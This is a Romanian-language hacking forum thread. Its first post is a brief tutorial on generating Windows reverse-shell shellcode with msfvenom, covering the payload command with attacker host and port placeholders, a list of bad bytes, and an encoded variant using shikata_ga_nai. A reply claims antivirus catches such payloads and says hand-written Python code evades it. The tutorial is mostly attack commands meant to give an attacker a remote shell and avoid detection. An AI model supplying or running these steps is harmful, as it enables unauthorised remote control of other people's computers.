Jump to content

Creare shellcode (msfvenom)

Recommended Posts

Pentru inceput o sa introducem urmatoarea comanda:


 msfvenom -p windows/shell_reverse_tcp LHOST=<ip-ul tau> LPORT<portul tau> -f c


exemplu 1> https://imgur.com/eogvBKp


Acum trebuie sa extracem caracterele proaste care impiedica shellcode-ul nostru sa ruleze corect.


Exemple de caractere:


0x00    NULL (\0)
0x09     Tab (\t)
0x0a     Line Feed (\n)
0x0d    Carriage Return (\r)
0xff      Form Feed (\f) 


Pentru a extrage aceste caractere rulam urmatoarea comanda: 


msfvenom -p windows/shell_reverse_tcp LHOST=<ip-ul tau> LPORT<portul tau> -F C -e x86/shikata_ga_nai -b "\x00"


exemplu 2 > https://imgur.com/Kh8jg5y



Peste cateva zile o sa mai fac un tutorial, dar fara "msfvenom".





Edited by mDOS
Link to post
Share on other sites

Orice tip de auto payload si script kiddie tools sunt detectate de pana si cele mai slabe antivirusuri indiferent daca sunt criptate "FUD" sau metode "shikata_ga_nai=))"


Daca iti scrii propriu cod pana si python trece de antivirusuri, proiectu de WIP am scris la el vreo 2h dar meeeh




UI-ul e facut cu un wrapper pentru ImGui dar still se misca bine si e mult mai usor de scris socketuri in python 

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Create New...